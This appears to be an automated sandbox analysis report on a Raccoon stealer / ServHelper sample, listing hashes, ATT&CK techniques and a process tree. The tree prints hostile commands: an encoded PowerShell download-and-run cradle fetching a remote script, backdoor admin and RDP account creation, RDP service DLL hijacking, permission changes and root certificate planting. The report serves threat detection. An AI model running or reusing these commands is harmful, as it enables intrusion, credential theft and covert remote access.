raccoon | 2b9b67b6e376ed8db68a8b219209981c865a2a26a4c4cd926b79cf2fddb57d54

Analysis

max time kernel
120s
max time network
134s
platform
windows7_x64
resource
win7v20210410
submitted
02-06-2021 18:08

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General

Target

f13060a6789449453b7d4a4b815cc80d.exe
Size

567KB
MD5

f13060a6789449453b7d4a4b815cc80d
SHA1

77d3b0a202710d93c660aca624a63a97811b8f9e
SHA256

2b9b67b6e376ed8db68a8b219209981c865a2a26a4c4cd926b79cf2fddb57d54
SHA512

78ed128be390ff896fb83b4cac8b30db20258f985d8f86d61f64da19cbd0bd8e2891a46fbdee1ad09e6d99fda697dfb12650deb1c628979b3a4133c438313b55

Score

10^/10

raccoon servhelper e46634757936706c1ff491585768dd6fe231db30 backdoor discovery exploit persistence spyware stealer trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Extracted

Family

raccoon

Botnet

e46634757936706c1ff491585768dd6fe231db30

Attributes

url4cnc
https://tttttt.me/jdiamond13

rc4.plain

Signatures

Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 1 IoCs

flow	pid	Process
15	1892	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
616	gBr0BAi3R0.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
1480	icacls.exe
1996	icacls.exe
1556	icacls.exe
756	takeown.exe
1992	icacls.exe
1328	icacls.exe
1000	icacls.exe
1616	icacls.exe

Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x000600000001313a-198.dat	upx
behavioral1/files/0x000600000001313d-199.dat	upx

Deletes itself 1 IoCs

pid	Process
756	cmd.exe

Loads dropped DLL 12 IoCs

pid	Process
1096	f13060a6789449453b7d4a4b815cc80d.exe
1096	f13060a6789449453b7d4a4b815cc80d.exe
1096	f13060a6789449453b7d4a4b815cc80d.exe
1096	f13060a6789449453b7d4a4b815cc80d.exe
1096	f13060a6789449453b7d4a4b815cc80d.exe
1096	f13060a6789449453b7d4a4b815cc80d.exe
1096	f13060a6789449453b7d4a4b815cc80d.exe
1096	f13060a6789449453b7d4a4b815cc80d.exe
1096	f13060a6789449453b7d4a4b815cc80d.exe
1096	f13060a6789449453b7d4a4b815cc80d.exe
940	Process not Found
940	Process not Found

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1480	icacls.exe
1996	icacls.exe
1556	icacls.exe
756	takeown.exe
1992	icacls.exe
1328	icacls.exe
1000	icacls.exe
1616	icacls.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Windows directory 21 IoCs

description	ioc	Process
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_79ed5a6c-9af5-4296-98c7-2b3109ce309c	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_d887bf0a-fc9c-4c4a-aafa-7b6799bfbd37	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_f0ae7f7a-bbf2-493e-a44d-d65d801692f2	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_57407f6e-252b-49a5-9a8d-c5faba250b81	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_8c4e8556-52f9-400e-aed3-7548f669d859	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_9eaa654b-2505-4d87-a8a8-2eaf482680ef	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\CRHQOYGB3JKMB9QNVPNH.temp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_5a188c8a-4751-4830-92e7-cbd18cc7f13e	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_3693353a-ee24-4c44-a686-debf2904fdef	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_f3b3f938-7b2b-435a-b1ec-4e86f374c3a8	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_7a647b4a-9f6a-45e6-8c63-5d5eda28c8e7	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_5bf03282-e52e-4c11-be46-469c87d19a40	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
1476	timeout.exe

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 30c818e0da57d701	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
384	reg.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	f13060a6789449453b7d4a4b815cc80d.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	f13060a6789449453b7d4a4b815cc80d.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
1928	powershell.exe
1928	powershell.exe
844	powershell.exe
844	powershell.exe
1996	powershell.exe
1996	powershell.exe
1584	powershell.exe
1584	powershell.exe
1928	powershell.exe
1928	powershell.exe
1928	powershell.exe
1892	powershell.exe
1892	powershell.exe

Suspicious behavior: LoadsDriver 4 IoCs

pid	Process
468	Process not Found
940	Process not Found
940	Process not Found
940	Process not Found

Suspicious use of AdjustPrivilegeToken 18 IoCs

description	pid	Process
Token: SeDebugPrivilege	1928	powershell.exe
Token: SeDebugPrivilege	844	powershell.exe
Token: SeDebugPrivilege	1996	powershell.exe
Token: SeDebugPrivilege	1584	powershell.exe
Token: SeRestorePrivilege	1328	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	1424	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1424	WMIC.exe
Token: SeAuditPrivilege	1424	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1424	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1424	WMIC.exe
Token: SeAuditPrivilege	1424	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	2020	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2020	WMIC.exe
Token: SeAuditPrivilege	2020	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	2020	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2020	WMIC.exe
Token: SeAuditPrivilege	2020	WMIC.exe
Token: SeDebugPrivilege	1892	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1096 wrote to memory of 616	1096	f13060a6789449453b7d4a4b815cc80d.exe	30
PID 1096 wrote to memory of 616	1096	f13060a6789449453b7d4a4b815cc80d.exe	30
PID 1096 wrote to memory of 616	1096	f13060a6789449453b7d4a4b815cc80d.exe	30
PID 1096 wrote to memory of 616	1096	f13060a6789449453b7d4a4b815cc80d.exe	30
PID 1096 wrote to memory of 756	1096	f13060a6789449453b7d4a4b815cc80d.exe	31
PID 1096 wrote to memory of 756	1096	f13060a6789449453b7d4a4b815cc80d.exe	31
PID 1096 wrote to memory of 756	1096	f13060a6789449453b7d4a4b815cc80d.exe	31
PID 1096 wrote to memory of 756	1096	f13060a6789449453b7d4a4b815cc80d.exe	31
PID 756 wrote to memory of 1476	756	cmd.exe	33
PID 756 wrote to memory of 1476	756	cmd.exe	33
PID 756 wrote to memory of 1476	756	cmd.exe	33
PID 756 wrote to memory of 1476	756	cmd.exe	33
PID 616 wrote to memory of 1928	616	gBr0BAi3R0.exe	34
PID 616 wrote to memory of 1928	616	gBr0BAi3R0.exe	34
PID 616 wrote to memory of 1928	616	gBr0BAi3R0.exe	34
PID 1928 wrote to memory of 608	1928	powershell.exe	36
PID 1928 wrote to memory of 608	1928	powershell.exe	36
PID 1928 wrote to memory of 608	1928	powershell.exe	36
PID 608 wrote to memory of 292	608	csc.exe	37
PID 608 wrote to memory of 292	608	csc.exe	37
PID 608 wrote to memory of 292	608	csc.exe	37
PID 1928 wrote to memory of 844	1928	powershell.exe	38
PID 1928 wrote to memory of 844	1928	powershell.exe	38
PID 1928 wrote to memory of 844	1928	powershell.exe	38
PID 1928 wrote to memory of 1996	1928	powershell.exe	40
PID 1928 wrote to memory of 1996	1928	powershell.exe	40
PID 1928 wrote to memory of 1996	1928	powershell.exe	40
PID 1928 wrote to memory of 1584	1928	powershell.exe	42
PID 1928 wrote to memory of 1584	1928	powershell.exe	42
PID 1928 wrote to memory of 1584	1928	powershell.exe	42
PID 1928 wrote to memory of 756	1928	powershell.exe	45
PID 1928 wrote to memory of 756	1928	powershell.exe	45
PID 1928 wrote to memory of 756	1928	powershell.exe	45
PID 1928 wrote to memory of 1992	1928	powershell.exe	46
PID 1928 wrote to memory of 1992	1928	powershell.exe	46
PID 1928 wrote to memory of 1992	1928	powershell.exe	46
PID 1928 wrote to memory of 1328	1928	powershell.exe	47
PID 1928 wrote to memory of 1328	1928	powershell.exe	47
PID 1928 wrote to memory of 1328	1928	powershell.exe	47
PID 1928 wrote to memory of 1000	1928	powershell.exe	48
PID 1928 wrote to memory of 1000	1928	powershell.exe	48
PID 1928 wrote to memory of 1000	1928	powershell.exe	48
PID 1928 wrote to memory of 1616	1928	powershell.exe	49
PID 1928 wrote to memory of 1616	1928	powershell.exe	49
PID 1928 wrote to memory of 1616	1928	powershell.exe	49
PID 1928 wrote to memory of 1480	1928	powershell.exe	50
PID 1928 wrote to memory of 1480	1928	powershell.exe	50
PID 1928 wrote to memory of 1480	1928	powershell.exe	50
PID 1928 wrote to memory of 1996	1928	powershell.exe	51
PID 1928 wrote to memory of 1996	1928	powershell.exe	51
PID 1928 wrote to memory of 1996	1928	powershell.exe	51
PID 1928 wrote to memory of 1556	1928	powershell.exe	52
PID 1928 wrote to memory of 1556	1928	powershell.exe	52
PID 1928 wrote to memory of 1556	1928	powershell.exe	52
PID 1928 wrote to memory of 1652	1928	powershell.exe	53
PID 1928 wrote to memory of 1652	1928	powershell.exe	53
PID 1928 wrote to memory of 1652	1928	powershell.exe	53
PID 1928 wrote to memory of 384	1928	powershell.exe	54
PID 1928 wrote to memory of 384	1928	powershell.exe	54
PID 1928 wrote to memory of 384	1928	powershell.exe	54
PID 1928 wrote to memory of 1424	1928	powershell.exe	55
PID 1928 wrote to memory of 1424	1928	powershell.exe	55
PID 1928 wrote to memory of 1424	1928	powershell.exe	55
PID 1928 wrote to memory of 292	1928	powershell.exe	56

C:\Users\Admin\AppData\Local\Temp\f13060a6789449453b7d4a4b815cc80d.exe
"C:\Users\Admin\AppData\Local\Temp\f13060a6789449453b7d4a4b815cc80d.exe"
1⤵
- Loads dropped DLL
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:1096
- C:\Users\Admin\AppData\Local\Temp\gBr0BAi3R0.exe
  "C:\Users\Admin\AppData\Local\Temp\gBr0BAi3R0.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:616
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
    3⤵
    - Drops file in System32 directory
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1928
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\2lapwxuy\2lapwxuy.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:608
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES88B0.tmp" "c:\Users\Admin\AppData\Local\Temp\2lapwxuy\CSC15B7FBE828FC47CEA5142CB033E56999.TMP"
        5⤵
        
        PID:292
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:844
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1996
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1584
  - - C:\Windows\system32\takeown.exe
      "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:756
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1992
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:1328
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1000
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1616
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1480
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1996
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1556
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
      4⤵
      PID:1652
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
      4⤵
      Modifies registry key
      PID:384
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
      4⤵
      PID:1424
  - - C:\Windows\system32\net.exe
      "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:292
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
        5⤵
        
        PID:1188
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
      4⤵
      PID:1892
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start rdpdr
        5⤵
        
        PID:1464
      - C:\Windows\system32\net.exe
        
        net start rdpdr
        6⤵
        
        PID:900
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        7⤵
        
        PID:1504
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
      4⤵
      PID:1316
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start TermService
        5⤵
        
        PID:1328
      - C:\Windows\system32\net.exe
        
        net start TermService
        6⤵
        
        PID:640
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        7⤵
        
        PID:1148
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
      4⤵
      PID:1156
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
      4⤵
      PID:788
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\f13060a6789449453b7d4a4b815cc80d.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:756
- - C:\Windows\SysWOW64\timeout.exe
    timeout /T 10 /NOBREAK
    3⤵
    - Delays execution with timeout.exe
    PID:1476

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc Ghar4f5 /del
1⤵
PID:568
- C:\Windows\system32\net.exe
  net.exe user wgautilacc Ghar4f5 /del
  2⤵
  PID:1424
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
    3⤵
    PID:972

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc 3AIdCn6q /add
1⤵
PID:956
- C:\Windows\system32\net.exe
  net.exe user wgautilacc 3AIdCn6q /add
  2⤵
  PID:1992
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc 3AIdCn6q /add
    3⤵
    PID:900

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
1⤵
PID:1088
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
  2⤵
  PID:696
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
    3⤵
    PID:1608

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
1⤵
PID:972
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
  2⤵
  PID:1464
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
    3⤵
    PID:1892

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
1⤵
PID:900
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" wgautilacc /ADD
  2⤵
  PID:1680
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
    3⤵
    PID:1244

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc 3AIdCn6q
1⤵
PID:1608
- C:\Windows\system32\net.exe
  net.exe user wgautilacc 3AIdCn6q
  2⤵
  PID:572
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc 3AIdCn6q
    3⤵
    PID:756

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:568
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1424

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:896
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2020

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:1476
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:972
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1892

C:\Windows\System32\cmd.exe
cmd.exe /C net user wgautilacc 1234
1⤵
PID:640
- C:\Windows\system32\net.exe
  net user wgautilacc 1234
  2⤵
  PID:936
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc 1234
    3⤵
    PID:1584

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Install Root Certificate

T1130

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/616-81-0x00000000411B7000-0x00000000411B8000-memory.dmp

Filesize
4KB

Download
memory/616-76-0x0000000041860000-0x0000000041C81000-memory.dmp

Filesize
4.1MB

Download
memory/616-78-0x00000000411B2000-0x00000000411B4000-memory.dmp

Filesize
8KB

Download
memory/616-79-0x00000000411B4000-0x00000000411B6000-memory.dmp

Filesize
8KB

Download
memory/616-80-0x00000000411B6000-0x00000000411B7000-memory.dmp

Filesize
4KB

Download
memory/844-116-0x000000001AA40000-0x000000001AA42000-memory.dmp

Filesize
8KB

Download
memory/844-123-0x000000001B660000-0x000000001B661000-memory.dmp

Filesize
4KB

Download
memory/844-136-0x000000001B7D0000-0x000000001B7D1000-memory.dmp

Filesize
4KB

Download
